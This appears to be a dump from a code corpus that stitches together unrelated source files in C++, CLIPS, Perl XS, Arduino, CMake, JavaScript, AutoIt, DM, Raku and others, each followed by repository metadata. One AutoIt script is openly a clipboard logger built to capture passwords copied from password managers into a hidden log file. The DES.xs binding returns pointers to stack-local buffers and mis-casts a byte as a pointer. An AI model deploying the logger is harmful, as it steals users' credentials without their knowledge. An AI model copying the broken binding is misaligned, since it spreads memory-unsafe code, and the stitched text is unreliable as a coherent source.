INPUT_RECORD{ KEY_EVENT, KEY_EVENT_RECORD{ FALSE, 1, VK_RETURN, 0, L'\r', 0 } },
};
VERIFY_WIN32_BOOL_SUCCEEDED(WriteConsoleInputW(inputHandle, inputRecords2.data(), static_cast<DWORD>(inputRecords2.size()), &written));
VERIFY_ARE_EQUAL(inputRecords2.size(), written);
} };
writerThread.join();
readerThread.join();
VERIFY_ARE_EQUAL(L"hi!\r"sv, (std::wstring_view{ buffer.data(), read }));
}
};
| C++ | 5 | sonvt1710/terminal | src/host/ft_host/API_MultipleInflightMessageTests.cpp | [
"MIT"
] |
size: 600px 900px;
dpi: 96;
areas {
data-x: csv("test/testdata/measurement.csv" value2);
data-y: csv("test/testdata/measurement.csv" time);
direction: horizontal;
color: #999;
}
| CLIPS | 2 | asmuth-archive/travistest | test/plot-areas/areas_vertical.clp | [
"Apache-2.0"
] |
#include "EXTERN.h"
#include "perl.h"
#include "XSUB.h"
#include "des.h"
#define deschar char
static STRLEN len;
static int
not_here(s)
char *s;
{
croak("%s not implemented on this architecture", s);
return -1;
}
MODULE = DES PACKAGE = DES PREFIX = des_
char *
des_crypt(buf,salt)
char * buf
char * salt
void
des_set_odd_parity(key)
des_cblock * key
PPCODE:
{
SV *s;
s=sv_newmortal();
sv_setpvn(s,(char *)key,8);
des_set_odd_parity((des_cblock *)SvPV(s,na));
PUSHs(s);
}
int
des_is_weak_key(key)
des_cblock * key
des_key_schedule
des_set_key(key)
des_cblock * key
CODE:
des_set_key(key,RETVAL);
OUTPUT:
RETVAL
des_cblock
des_ecb_encrypt(input,ks,encrypt)
des_cblock * input
des_key_schedule * ks
int encrypt
CODE:
des_ecb_encrypt(input,&RETVAL,*ks,encrypt);
OUTPUT:
RETVAL
void
des_cbc_encrypt(input,ks,ivec,encrypt)
char * input
des_key_schedule * ks
des_cblock * ivec
int encrypt
PPCODE:
{
SV *s;
STRLEN len,l;
char *c;
l=SvCUR(ST(0));
len=((((unsigned long)l)+7)/8)*8;
s=sv_newmortal();
sv_setpvn(s,"",0);
SvGROW(s,len);
SvCUR_set(s,len);
c=(char *)SvPV(s,na);
des_cbc_encrypt((des_cblock *)input,(des_cblock *)c,
l,*ks,ivec,encrypt);
sv_setpvn(ST(2),(char *)c[len-8],8);
PUSHs(s);
}
void
des_cbc3_encrypt(input,ks1,ks2,ivec1,ivec2,encrypt)
char * input
des_key_schedule * ks1
des_key_schedule * ks2
des_cblock * ivec1
des_cblock * ivec2
int encrypt
PPCODE:
{
SV *s;
STRLEN len,l;
l=SvCUR(ST(0));
len=((((unsigned long)l)+7)/8)*8;
s=sv_newmortal();
sv_setpvn(s,"",0);
SvGROW(s,len);
SvCUR_set(s,len);
des_3cbc_encrypt((des_cblock *)input,(des_cblock *)SvPV(s,na),
l,*ks1,*ks2,ivec1,ivec2,encrypt);
sv_setpvn(ST(3),(char *)ivec1,8);
sv_setpvn(ST(4),(char *)ivec2,8);
PUSHs(s);
}
void
des_cbc_cksum(input,ks,ivec)
char * input
des_key_schedule * ks
des_cblock * ivec
PPCODE:
{
SV *s1,*s2;
STRLEN len,l;
des_cblock c;
unsigned long i1,i2;
s1=sv_newmortal();
s2=sv_newmortal();
l=SvCUR(ST(0));
des_cbc_cksum((des_cblock *)input,(des_cblock *)c,
l,*ks,ivec);
i1=c[4]|(c[5]<<8)|(c[6]<<16)|(c[7]<<24);
i2=c[0]|(c[1]<<8)|(c[2]<<16)|(c[3]<<24);
sv_setiv(s1,i1);
sv_setiv(s2,i2);
sv_setpvn(ST(2),(char *)c,8);
PUSHs(s1);
PUSHs(s2);
}
void
des_cfb_encrypt(input,numbits,ks,ivec,encrypt)
char * input
int numbits
des_key_schedule * ks
des_cblock * ivec
int encrypt
PPCODE:
{
SV *s;
STRLEN len;
char *c;
len=SvCUR(ST(0));
s=sv_newmortal();
sv_setpvn(s,"",0);
SvGROW(s,len);
SvCUR_set(s,len);
c=(char *)SvPV(s,na);
des_cfb_encrypt((unsigned char *)input,(unsigned char *)c,
(int)numbits,(long)len,*ks,ivec,encrypt);
sv_setpvn(ST(3),(char *)ivec,8);
PUSHs(s);
}
des_cblock *
des_ecb3_encrypt(input,ks1,ks2,encrypt)
des_cblock * input
des_key_schedule * ks1
des_key_schedule * ks2
int encrypt
CODE:
{
des_cblock c;
des_ecb3_encrypt((des_cblock *)input,(des_cblock *)&c,
*ks1,*ks2,encrypt);
RETVAL= &c;
}
OUTPUT:
RETVAL
void
des_ofb_encrypt(input,numbits,ks,ivec)
unsigned char * input
int numbits
des_key_schedule * ks
des_cblock * ivec
PPCODE:
{
SV *s;
STRLEN len,l;
unsigned char *c;
len=SvCUR(ST(0));
s=sv_newmortal();
sv_setpvn(s,"",0);
SvGROW(s,len);
SvCUR_set(s,len);
c=(unsigned char *)SvPV(s,na);
des_ofb_encrypt((unsigned char *)input,(unsigned char *)c,
numbits,len,*ks,ivec);
sv_setpvn(ST(3),(char *)ivec,8);
PUSHs(s);
}
void
des_pcbc_encrypt(input,ks,ivec,encrypt)
char * input
des_key_schedule * ks
des_cblock * ivec
int encrypt
PPCODE:
{
SV *s;
STRLEN len,l;
char *c;
l=SvCUR(ST(0));
len=((((unsigned long)l)+7)/8)*8;
s=sv_newmortal();
sv_setpvn(s,"",0);
SvGROW(s,len);
SvCUR_set(s,len);
c=(char *)SvPV(s,na);
des_pcbc_encrypt((des_cblock *)input,(des_cblock *)c,
l,*ks,ivec,encrypt);
sv_setpvn(ST(2),(char *)c[len-8],8);
PUSHs(s);
}
des_cblock *
des_random_key()
CODE:
{
des_cblock c;
des_random_key(c);
RETVAL=&c;
}
OUTPUT:
RETVAL
des_cblock *
des_string_to_key(str)
char * str
CODE:
{
des_cblock c;
des_string_to_key(str,&c);
RETVAL=&c;
}
OUTPUT:
RETVAL
void
des_string_to_2keys(str)
char * str
PPCODE:
{
des_cblock c1,c2;
SV *s1,*s2;
des_string_to_2keys(str,&c1,&c2);
EXTEND(sp,2);
s1=sv_newmortal();
sv_setpvn(s1,(char *)c1,8);
s2=sv_newmortal();
sv_setpvn(s2,(char *)c2,8);
PUSHs(s1);
PUSHs(s2);
}
| XS | 4 | jiangzhu1212/oooii | Ouroboros/External/OpenSSL/openssl-1.0.0e/crypto/des/DES.xs | [
"MIT"
] |
rly foo not bar
shh 1
wow
| Dogescript | 0 | joeratt/dogescript | test/spec/operators/not/source.djs | [
"MIT"
] |
// Uncomment to use the mode you prefer (default SWBB_MODE 1)
// #define SWBB_MODE 1 // 1.95kB/s - 15625Bd
// #define SWBB_MODE 2 // 2.21kB/s - 17696Bd
// #define SWBB_MODE 3 // 2.94kB/s - 23529Bd
// #define SWBB_MODE 4 // 3.40kB/s - 27210Bd
#include <PJONSoftwareBitBang.h>
// Bus id definition
uint8_t bus_id[] = {0, 0, 0, 1};
// PJON object
PJONSoftwareBitBang bus(bus_id, 45);
uint8_t content[] = "01234567890123456789";
void error_handler(uint8_t code, uint16_t data, void *custom_pointer) {
if(code == PJON_CONNECTION_LOST) {
Serial.print("Connection lost with device id ");
Serial.println(bus.packets[data].content[0], DEC);
}
};
void setup() {
bus.strategy.set_pin(12);
bus.set_error(error_handler);
bus.begin();
bus.send(44, content, 20);
Serial.begin(115200);
};
void loop() {
if(!bus.update()) // If all packets are delivered, send another
bus.send(44, content, 20);
};
| Arduino | 4 | solhuebner/PJON | examples/ARDUINO/Network/SoftwareBitBang/SpeedTest/Transmitter/Transmitter.ino | [
"Apache-2.0"
] |
pub fn f2<F: FnMut(u32) + Clone>(f: F) {}
pub fn f3<F: FnMut(u64) -> () + Clone>(f: F) {}
| Rust | 3 | Eric-Arellano/rust | src/test/rustdoc/auxiliary/unit-return.rs | [
"ECL-2.0",
"Apache-2.0",
"MIT-0",
"MIT"
] |
include(CMakeParseArguments)
# BuildLuajit(TARGET targetname CONFIGURE_COMMAND ... BUILD_COMMAND ... INSTALL_COMMAND ...)
# Reusable function to build luajit, wraps ExternalProject_Add.
# Failing to pass a command argument will result in no command being run
function(BuildLuajit)
cmake_parse_arguments(_luajit
""
"TARGET"
"CONFIGURE_COMMAND;BUILD_COMMAND;INSTALL_COMMAND"
${ARGN})
if(NOT _luajit_CONFIGURE_COMMAND AND NOT _luajit_BUILD_COMMAND
AND NOT _luajit_INSTALL_COMMAND)
message(FATAL_ERROR "Must pass at least one of CONFIGURE_COMMAND, BUILD_COMMAND, INSTALL_COMMAND")
endif()
if(NOT _luajit_TARGET)
set(_luajit_TARGET "luajit")
endif()
ExternalProject_Add(${_luajit_TARGET}
PREFIX ${DEPS_BUILD_DIR}
URL ${LUAJIT_URL}
DOWNLOAD_DIR ${DEPS_DOWNLOAD_DIR}/luajit
DOWNLOAD_COMMAND ${CMAKE_COMMAND}
-DPREFIX=${DEPS_BUILD_DIR}
-DDOWNLOAD_DIR=${DEPS_DOWNLOAD_DIR}/luajit
-DURL=${LUAJIT_URL}
-DEXPECTED_SHA256=${LUAJIT_SHA256}
-DTARGET=${_luajit_TARGET}
-DUSE_EXISTING_SRC_DIR=${USE_EXISTING_SRC_DIR}
-P ${CMAKE_CURRENT_SOURCE_DIR}/cmake/DownloadAndExtractFile.cmake
CONFIGURE_COMMAND "${_luajit_CONFIGURE_COMMAND}"
BUILD_IN_SOURCE 1
BUILD_COMMAND "${_luajit_BUILD_COMMAND}"
INSTALL_COMMAND "${_luajit_INSTALL_COMMAND}")
# Create symlink for development version manually.
if(UNIX)
add_custom_command(
TARGET ${_luajit_TARGET}
COMMAND ${CMAKE_COMMAND} -E create_symlink luajit-2.1.0-beta3 ${DEPS_BIN_DIR}/luajit)
endif()
endfunction()
check_c_compiler_flag(-fno-stack-check HAS_NO_STACK_CHECK)
if(CMAKE_SYSTEM_NAME MATCHES "Darwin" AND HAS_NO_STACK_CHECK)
set(NO_STACK_CHECK "CFLAGS+=-fno-stack-check")
else()
set(NO_STACK_CHECK "")
endif()
if(CMAKE_SYSTEM_NAME MATCHES "OpenBSD")
set(AMD64_ABI "LDFLAGS=-lpthread -lc++abi")
else()
set(AMD64_ABI "")
endif()
set(INSTALLCMD_UNIX ${MAKE_PRG} CFLAGS=-fPIC
CFLAGS+=-DLUA_USE_APICHECK
CFLAGS+=-DLUA_USE_ASSERT
${NO_STACK_CHECK}
${AMD64_ABI}
CCDEBUG+=-g
Q=
install)
if(UNIX)
if(CMAKE_SYSTEM_NAME STREQUAL "Darwin")
if(CMAKE_OSX_DEPLOYMENT_TARGET)
set(DEPLOYMENT_TARGET "MACOSX_DEPLOYMENT_TARGET=${CMAKE_OSX_DEPLOYMENT_TARGET}")
else()
# Use the same target as our nightly builds
set(DEPLOYMENT_TARGET "MACOSX_DEPLOYMENT_TARGET=10.11")
endif()
else()
set(DEPLOYMENT_TARGET "")
endif()
BuildLuaJit(INSTALL_COMMAND ${INSTALLCMD_UNIX}
CC=${DEPS_C_COMPILER} PREFIX=${DEPS_INSTALL_DIR}
${DEPLOYMENT_TARGET})
elseif(MINGW AND CMAKE_CROSSCOMPILING)
# Build luajit for the host
BuildLuaJit(TARGET luajit_host
CONFIGURE_COMMAND ""
BUILD_COMMAND ""
INSTALL_COMMAND ${INSTALLCMD_UNIX}
CC=${HOST_C_COMPILER} PREFIX=${HOSTDEPS_INSTALL_DIR})
# Build luajit for the target
BuildLuaJit(
# Similar to Unix + cross - fPIC
INSTALL_COMMAND
${MAKE_PRG} PREFIX=${DEPS_INSTALL_DIR}
BUILDMODE=static install
TARGET_SYS=${CMAKE_SYSTEM_NAME}
CROSS=${CROSS_TARGET}-
HOST_CC=${HOST_C_COMPILER} HOST_CFLAGS=${HOST_C_FLAGS}
HOST_LDFLAGS=${HOST_EXE_LINKER_FLAGS}
FILE_T=luajit.exe
Q=
INSTALL_TSYMNAME=luajit.exe)
elseif(MINGW)
if(CMAKE_GENERATOR MATCHES "Ninja")
set(LUAJIT_MAKE_PRG ${MAKE_PRG})
else()
set(LUAJIT_MAKE_PRG ${CMAKE_MAKE_PROGRAM})
endif()
BuildLuaJit(BUILD_COMMAND ${LUAJIT_MAKE_PRG} CC=${DEPS_C_COMPILER}
PREFIX=${DEPS_INSTALL_DIR}
CFLAGS+=-DLUA_USE_APICHECK
CFLAGS+=-DLUA_USE_ASSERT
CCDEBUG+=-g
BUILDMODE=static
# Build a DLL too
COMMAND ${LUAJIT_MAKE_PRG} CC=${DEPS_C_COMPILER} BUILDMODE=dynamic
INSTALL_COMMAND ${CMAKE_COMMAND} -E make_directory ${DEPS_INSTALL_DIR}/bin
COMMAND ${CMAKE_COMMAND} -E copy ${DEPS_BUILD_DIR}/src/luajit/src/luajit.exe ${DEPS_INSTALL_DIR}/bin
COMMAND ${CMAKE_COMMAND} -E copy ${DEPS_BUILD_DIR}/src/luajit/src/lua51.dll ${DEPS_INSTALL_DIR}/bin
COMMAND ${CMAKE_COMMAND} -E make_directory ${DEPS_INSTALL_DIR}/lib
# Luarocks searches for lua51.dll in lib
COMMAND ${CMAKE_COMMAND} -E copy ${DEPS_BUILD_DIR}/src/luajit/src/lua51.dll ${DEPS_INSTALL_DIR}/lib
COMMAND ${CMAKE_COMMAND} -E copy ${DEPS_BUILD_DIR}/src/luajit/src/libluajit.a ${DEPS_INSTALL_DIR}/lib
COMMAND ${CMAKE_COMMAND} -E make_directory ${DEPS_INSTALL_DIR}/include/luajit-2.1
COMMAND ${CMAKE_COMMAND} -DFROM_GLOB=${DEPS_BUILD_DIR}/src/luajit/src/*.h -DTO=${DEPS_INSTALL_DIR}/include/luajit-2.1 -P ${CMAKE_CURRENT_SOURCE_DIR}/cmake/CopyFilesGlob.cmake
)
elseif(MSVC)
BuildLuaJit(
BUILD_COMMAND ${CMAKE_COMMAND} -E chdir ${DEPS_BUILD_DIR}/src/luajit/src ${DEPS_BUILD_DIR}/src/luajit/src/msvcbuild.bat
INSTALL_COMMAND ${CMAKE_COMMAND} -E make_directory ${DEPS_INSTALL_DIR}/bin
COMMAND ${CMAKE_COMMAND} -E copy ${DEPS_BUILD_DIR}/src/luajit/src/luajit.exe ${DEPS_INSTALL_DIR}/bin
COMMAND ${CMAKE_COMMAND} -E copy ${DEPS_BUILD_DIR}/src/luajit/src/lua51.dll ${DEPS_INSTALL_DIR}/bin
COMMAND ${CMAKE_COMMAND} -E make_directory ${DEPS_INSTALL_DIR}/lib
# Luarocks searches for lua51.lib
COMMAND ${CMAKE_COMMAND} -E copy ${DEPS_BUILD_DIR}/src/luajit/src/lua51.lib ${DEPS_INSTALL_DIR}/lib/lua51.lib
# Luv searches for luajit.lib
COMMAND ${CMAKE_COMMAND} -E copy ${DEPS_BUILD_DIR}/src/luajit/src/lua51.lib ${DEPS_INSTALL_DIR}/lib/luajit.lib
COMMAND ${CMAKE_COMMAND} -E make_directory ${DEPS_INSTALL_DIR}/include/luajit-2.1
COMMAND ${CMAKE_COMMAND} -DFROM_GLOB=${DEPS_BUILD_DIR}/src/luajit/src/*.h -DTO=${DEPS_INSTALL_DIR}/include/luajit-2.1 -P ${CMAKE_CURRENT_SOURCE_DIR}/cmake/CopyFilesGlob.cmake)
else()
message(FATAL_ERROR "Trying to build luajit in an unsupported system ${CMAKE_SYSTEM_NAME}/${CMAKE_C_COMPILER_ID}")
endif()
list(APPEND THIRD_PARTY_DEPS luajit)
| CMake | 4 | andymass/neovim | third-party/cmake/BuildLuajit.cmake | [
"Vim"
] |
import { useContext } from 'react'
import { I18nContext } from '../lib/i18n'
export default function useI18n() {
const i18n = useContext(I18nContext)
return i18n
}
| JavaScript | 4 | blomqma/next.js | examples/with-i18n-rosetta/hooks/use-i18n.js | [
"MIT"
] |
import App from '../components/App'
export default function About() {
return (
<App>
<p>About Page</p>
</App>
)
}
| JSX | 3 | blomqma/next.js | examples/with-firebase-hosting/src/pages/about.jsx | [
"MIT"
] |
; Script Name : clipboard_logger.au3
; Author : Craig Richards
; Created : 25th January 2012
; Last Modified :
; Version : 1.0
; Modifications :
; Description : Will log all contents added to the clipboard, even if they use 1Passwd, Keypass, Lastpass etc
#Include <clipboard.au3> ; Include the Clipboard Header file
#Include <File.au3> ; Include the File Header file
$oldclip="" ; Set the variable $oldclip to be blank
While 1 ; While True, so continually run
$clip=_Clipboard_GetData() ; Sets the variable clip, which gets the contents of the clipboard
If $clip <> "0" Then ; If clip isn't zero then,
If $clip <> $oldclip Then ; Don't log the same clipboard text over and over, if nothing has come in in 100 milliseconds
_FileWriteLog(@UserProfileDir & "\clip.log", $clip) ; Write out to the clip.log file, this entry in timestamped.
$oldclip = $clip ; Make oldclip the same as clip for this instance
EndIf ; End the First IF Statement
EndIf ; End of the Second IF Statement
Sleep(100) ; Sleep for 100 Milliseconds
WEnd ; End of the while loop | AutoIt | 4 | X-EcutiOnner/Notepad3 | test/test_files/StyleLexers/styleLexAU3/clipboard_logger.au3 | [
"BSD-3-Clause"
] |
/obj/lamp
name = "lamp"
icon = 'ExampleProject/obj.dmi'
icon_state = "lamp-on"
light_range = 5
// light_color = "#FFFF00"
/obj/lamp/verb/change_color(var/new_color as color)
set src in view()
set_light(l_color = new_color)
/obj/lamp/verb/change_range(var/new_range as num)
set src in view()
set_light(new_range)
if(!light_range)
icon_state = "lamp-off"
/obj/lamp/verb/change_power(var/new_power as num)
set src in view()
set_light(l_power = new_power)
/obj/lamp/verb/delete()
set src in view()
qdel(src)
| DM | 4 | PJB3005/GoonLight-Heist | ExampleProject/lamp.dm | [
"MIT"
] |
my class IO::Spec::QNX is IO::Spec::Unix {
method canonpath ($patharg, :$parent) {
my $path = $patharg.Str;
# Handle POSIX-style node names beginning with double slash (qnx, nto)
# (POSIX says: "a pathname that begins with two successive slashes
# may be interpreted in an implementation-defined manner, although
# more than two leading slashes shall be treated as a single slash.")
my $node = '';
if $path ~~ s {^ ( '//' <-[ / ]>+ ) '/'? $} = ''
or $path ~~ s {^ ( '//' <-[ / ]>+ ) '/' } = '/'
{ $node = ~ $0; }
$path = IO::Spec::Unix.canonpath($path, :$parent);
$node ~ $path;
}
}
# vim: expandtab shiftwidth=4
| Perl6 | 5 | raydiak/rakudo | src/core.c/IO/Spec/QNX.pm6 | [
"Artistic-2.0"
] |
// Print a newline
fn putln() -> void = do
putchar('\n')
end in
// Print a number, and a newline
fn putnumln(n: int) -> void = do
putnum(n); putln()
end in
fn inc(n: &int) -> &int = do
*n += 1;
n
end in
fn square(n: &int) -> &int = do
*n *= *n;
n
end in
let x = 5,
ptr = alloc(int)
in do
x *= 2;
*ptr = x;
ptr->putnumln;
ptr[0] /= 3;
ptr[0].putnumln
end | Harbour | 4 | adam-mcdaniel/harbor | examples/assignment.hb | [
"Apache-2.0"
] |
<div xmlns:py="http://purl.org/kid/ns#" id="archives">
<dl py:for="post in archive_posts">
<dt><a href="/${site.name}/blog/archives/${post[7]}">${post[3].strftime('%B %Y')}</a></dt>
<dd>(${post[9]})</dd>
</dl>
</div> | Genshi | 3 | CarlosGabaldon/calabro | calabro/widgets/templates/archives.kid | [
"MIT"
] |
=pod
=head1 NAME
PKCS12_init, PKCS12_init_ex - Create a new empty PKCS#12 structure
=head1 SYNOPSIS
#include <openssl/pkcs12.h>
PKCS12 *PKCS12_init(int mode);
PKCS12 *PKCS12_init_ex(int mode, OSSL_LIB_CTX *ctx, const char *propq);
=head1 DESCRIPTION
PKCS12_init() creates an empty PKCS#12 structure. Any PKCS#7 authSafes added
to this structure are enclosed first within a single PKCS#7 contentInfo
of type I<mode>. Currently the only supported type is B<NID_pkcs7_data>.
PKCS12_init_ex() creates an empty PKCS#12 structure and assigns the supplied
I<ctx> and I<propq> to be used to select algorithm implementations for
operations performed on the B<PKCS12> object.
=head1 RETURN VALUES
PKCS12_init() and PKCS12_init_ex() return a valid B<PKCS12> structure or NULL
if an error occurred.
=head1 SEE ALSO
L<d2i_PKCS12(3)>,
L<PKCS12_create(3)>,
L<passphrase-encoding(7)>
=head1 HISTORY
PKCS12_init_ex() was added in OpenSSL 3.0.
=head1 COPYRIGHT
Copyright 2021 The OpenSSL Project Authors. All Rights Reserved.
Licensed under the Apache License 2.0 (the "License"). You may not use
this file except in compliance with the License. You can obtain a copy
in the file LICENSE in the source distribution or at
L<https://www.openssl.org/source/license.html>.
=cut
| Pod | 5 | pmesnier/openssl | doc/man3/PKCS12_init.pod | [
"Apache-2.0"
] |
; CLW file contains information for the MFC ClassWizard
[General Info]
Version=1
LastClass=MainMenuDlg
LastTemplate=CDialog
NewFileInclude1=#include "stdafx.h"
NewFileInclude2=#include "smpackage.h"
ClassCount=12
Class1=CSmpackageApp
Class2=CSmpackageDlg
ResourceCount=13
Resource1=IDR_MAINFRAME
Resource2=IDD_ENTER_STRING
Class3=CSMPackageInstallDlg
Class4=CSmpackageExportDlg
Resource3=IDD_EXPORTER
Class5=EnterName
Resource4=IDD_EDIT_METRICS
Class6=EditInsallations
Resource5=IDD_CONVERT_THEME
Class7=MainMenuDlg
Resource6=IDD_MENU
Class8=ConvertThemeDlg
Resource7=IDD_SHOW_COMMENT
Class9=EditMetricsDlg
Resource8=IDD_ENTER_COMMENT
Resource9=IDD_DIALOG_NAME
Class10=EnterComment
Resource10=IDD_INSTALL
Class11=ShowComment
Resource11=IDD_UNINSTALL_OLD_PACKAGES
Resource12=IDD_EDIT_INSTALLATIONS
Class12=ChangeGameSettings
Resource13=IDD_CHANGE_GAME_SETTINGS
[CLS:CSmpackageApp]
Type=0
HeaderFile=smpackage.h
ImplementationFile=smpackage.cpp
Filter=N
LastObject=CSmpackageApp
BaseClass=CWinApp
VirtualFilter=AC
[CLS:CSmpackageDlg]
Type=0
HeaderFile=smpackageDlg.h
ImplementationFile=smpackageDlg.cpp
Filter=D
LastObject=CSmpackageDlg
BaseClass=CDialog
VirtualFilter=dWC
[DLG:IDD_INSTALL]
Type=1
Class=CSMPackageInstallDlg
ControlCount=10
Control1=IDC_EDIT_MESSAGE1,edit,1342179460
Control2=IDOK,button,1342242817
Control3=IDCANCEL,button,1342242816
Control4=IDC_BUTTON_BACK,button,1476460544
Control5=IDC_STATIC,static,1342177294
Control6=IDC_EDIT_MESSAGE3,edit,1342179460
Control7=IDC_EDIT_MESSAGE2,edit,1352665220
Control8=IDC_COMBO_DIR,combobox,1344339971
Control9=IDC_BUTTON_EDIT,button,1342242816
Control10=IDC_PROGRESS1,msctls_progress32,1082130432
[CLS:CSMPackageInstallDlg]
Type=0
HeaderFile=SMPackageInstallDlg.h
ImplementationFile=SMPackageInstallDlg.cpp
BaseClass=CDialog
Filter=D
LastObject=CSMPackageInstallDlg
VirtualFilter=dWC
[DLG:IDD_EXPORTER]
Type=1
Class=CSmpackageExportDlg
ControlCount=10
Control1=IDOK,button,1342242817
Control2=IDC_BUTTON_PLAY,button,1342242816
Control3=IDC_BUTTON_EXPORT_AS_ONE,button,1342242816
Control4=IDC_STATIC,static,1342177294
Control5=IDC_BUTTON_EXPORT_AS_INDIVIDUAL,button,1342242816
Control6=IDC_TREE,SysTreeView32,1350631687
Control7=IDC_COMBO_DIR,combobox,1344339971
Control8=IDC_BUTTON_EDIT,button,1342242816
Control9=IDC_STATIC,static,1342308352
Control10=IDC_BUTTON_OPEN,button,1342242816
[CLS:CSmpackageExportDlg]
Type=0
HeaderFile=SmpackageExportDlg.h
ImplementationFile=SmpackageExportDlg.cpp
BaseClass=CDialog
Filter=D
LastObject=CSmpackageExportDlg
VirtualFilter=dWC
[CLS:EnterName]
Type=0
HeaderFile=EnterName.h
ImplementationFile=EnterName.cpp
BaseClass=CDialog
Filter=D
VirtualFilter=dWC
LastObject=IDC_EDIT
[DLG:IDD_EDIT_INSTALLATIONS]
Type=1
Class=EditInsallations
ControlCount=10
Control1=IDOK,button,1342242817
Control2=IDCANCEL,button,1342242816
Control3=IDC_LIST,listbox,1352728833
Control4=IDC_EDIT,edit,1350631552
Control5=IDC_BUTTON_ADD,button,1342242816
Control6=IDC_BUTTON_REMOVE,button,1342242816
Control7=IDC_BUTTON_MAKE_DEFAULT,button,1342242816
Control8=IDC_STATIC,button,1342177287
Control9=IDC_STATIC,button,1342177287
Control10=IDC_STATIC,static,1342308352
[CLS:EditInsallations]
Type=0
HeaderFile=EditInsallations.h
ImplementationFile=EditInsallations.cpp
BaseClass=CDialog
Filter=D
VirtualFilter=dWC
LastObject=EditInsallations
[DLG:IDD_MENU]
Type=1
Class=MainMenuDlg
ControlCount=20
Control1=IDOK,button,1342242817
Control2=IDC_STATIC,static,1342177294
Control3=IDC_STATIC,static,1342308354
Control4=IDC_EDIT_INSTALLATION,edit,1350633600
Control5=IDC_STATIC,button,1342177287
Control6=IDC_EDIT_INSTALLATIONS,button,1342242816
Control7=IDC_STATIC,static,1342308352
Control8=IDC_STATIC,button,1342177287
Control9=IDC_EXPORT_PACKAGES,button,1342242816
Control10=IDC_STATIC,static,1342308352
Control11=IDC_STATIC,button,1342177287
Control12=IDC_ANALYZE_ELEMENTS,button,1342242816
Control13=IDC_STATIC,static,1342308352
Control14=IDC_STATIC,button,1342177287
Control15=IDC_CHANGE_API,button,1342242816
Control16=IDC_OPEN_STEPMANIA_INI,button,1342242816
Control17=IDC_STATIC,static,1342308352
Control18=IDC_STATIC,button,1342177287
Control19=IDC_CREATE_SONG,button,1342242816
Control20=IDC_STATIC,static,1342308352
[CLS:MainMenuDlg]
Type=0
HeaderFile=MainMenuDlg.h
ImplementationFile=MainMenuDlg.cpp
BaseClass=CDialog
Filter=D
VirtualFilter=dWC
LastObject=MainMenuDlg
[DLG:IDD_CONVERT_THEME]
Type=1
Class=ConvertThemeDlg
ControlCount=13
Control1=IDOK,button,1342242817
Control2=IDC_STATIC,static,1342177294
Control3=IDC_LIST_THEMES,listbox,1352728835
Control4=IDC_BUTTON_CONVERT,button,1476460544
Control5=IDC_STATIC,static,1342308352
Control6=IDC_STATIC,button,1342177287
Control7=IDC_STATIC,static,1342308352
Control8=IDC_BUTTON_ANALYZE,button,1476460544
Control9=IDC_STATIC,button,1342177287
Control10=IDC_STATIC,static,1342308352
Control11=IDC_BUTTON_EDIT_METRICS,button,1476460544
Control12=IDC_STATIC,static,1342308352
Control13=IDC_BUTTON_ANALYZE_METRICS,button,1476460544
[CLS:ConvertThemeDlg]
Type=0
HeaderFile=onvertThemeDlg.h
ImplementationFile=onvertThemeDlg.cpp
BaseClass=CDialog
Filter=D
LastObject=IDC_LIST_THEMES
VirtualFilter=dWC
[DLG:IDD_EDIT_METRICS]
Type=1
Class=EditMetricsDlg
ControlCount=11
Control1=IDC_BUTTON_CLOSE,button,1342242816
Control2=IDC_STATIC,static,1342177294
Control3=IDC_EDIT_VALUE,edit,1484849220
Control4=IDC_STATIC,static,1342308352
Control5=IDC_EDIT_DEFAULT,edit,1350633540
Control6=IDC_STATIC,static,1342308352
Control7=IDC_BUTTON_OVERRIDE,button,1476460544
Control8=IDC_BUTTON_REMOVE,button,1476460544
Control9=IDC_TREE,SysTreeView32,1350631461
Control10=IDC_BUTTON_SAVE,button,1342242816
Control11=IDC_BUTTON_HELP,button,1342242816
[CLS:EditMetricsDlg]
Type=0
HeaderFile=EditMetricsDlg.h
ImplementationFile=EditMetricsDlg.cpp
BaseClass=CDialog
Filter=D
VirtualFilter=dWC
LastObject=EditMetricsDlg
[DLG:IDD_ENTER_STRING]
Type=1
Class=EnterName
ControlCount=4
Control1=IDC_STATIC,static,1342308352
Control2=IDC_EDIT,edit,1350631552
Control3=IDOK,button,1342242817
Control4=IDCANCEL,button,1342242816
[DLG:IDD_ENTER_COMMENT]
Type=1
Class=EnterComment
ControlCount=5
Control1=65535,static,1342308352
Control2=IDC_EDIT,edit,1350631556
Control3=IDOK,button,1342242817
Control4=IDCANCEL,button,1342242816
Control5=IDC_DONTASK,button,1342242819
[DLG:IDD_DIALOG_NAME]
Type=1
Class=?
ControlCount=5
Control1=IDC_STATIC,static,1342308352
Control2=IDC_EDIT,edit,1350631552
Control3=IDOK,button,1342242817
Control4=IDCANCEL,button,1342242816
Control5=IDC_STATIC,static,1342308352
[CLS:EnterComment]
Type=0
HeaderFile=EnterComment.h
ImplementationFile=EnterComment.cpp
BaseClass=CDialog
Filter=D
LastObject=IDC_EDIT
VirtualFilter=dWC
[DLG:IDD_SHOW_COMMENT]
Type=1
Class=ShowComment
ControlCount=4
Control1=IDC_EDIT,edit,1350633604
Control2=IDOK,button,1342242817
Control3=IDCANCEL,button,1342242816
Control4=IDC_DONTSHOW,button,1342242819
[CLS:ShowComment]
Type=0
HeaderFile=ShowComment.h
ImplementationFile=ShowComment.cpp
BaseClass=CDialog
Filter=D
VirtualFilter=dWC
LastObject=IDC_DONTSHOW
[DLG:IDD_UNINSTALL_OLD_PACKAGES]
Type=1
Class=?
ControlCount=6
Control1=IDOK,button,1342242817
Control2=IDCANCEL,button,1342242816
Control3=IDC_STATIC,static,1342308352
Control4=IDC_PACKAGES,edit,1352730756
Control5=IDC_BUTTON1,button,1342242816
Control6=IDC_STATIC,static,1342308353
[DLG:IDD_CHANGE_GAME_SETTINGS]
Type=1
Class=ChangeGameSettings
ControlCount=15
Control1=IDOK,button,1342242817
Control2=IDCANCEL,button,1342242816
Control3=IDC_STATIC,button,1342177287
Control4=IDC_RADIO_DEFAULT,button,1342308361
Control5=IDC_RADIO_OPENGL,button,1342177289
Control6=IDC_RADIO_DIRECT3D,button,1342177289
Control7=IDC_STATIC,button,1342177287
Control8=IDC_RADIO_SOUND_DEFAULT,button,1342308361
Control9=IDC_RADIO_SOUND_DIRECTSOUND_HARDWARE,button,1342177289
Control10=IDC_RADIO_SOUND_DIRECTSOUND_SOFTWARE,button,1342177289
Control11=IDC_RADIO_SOUND_NULL,button,1342177289
Control12=IDC_STATIC,button,1342177287
Control13=IDC_CHECK_LOG_TO_DISK,button,1342242819
Control14=IDC_CHECK_SHOW_LOG_WINDOW,button,1342242819
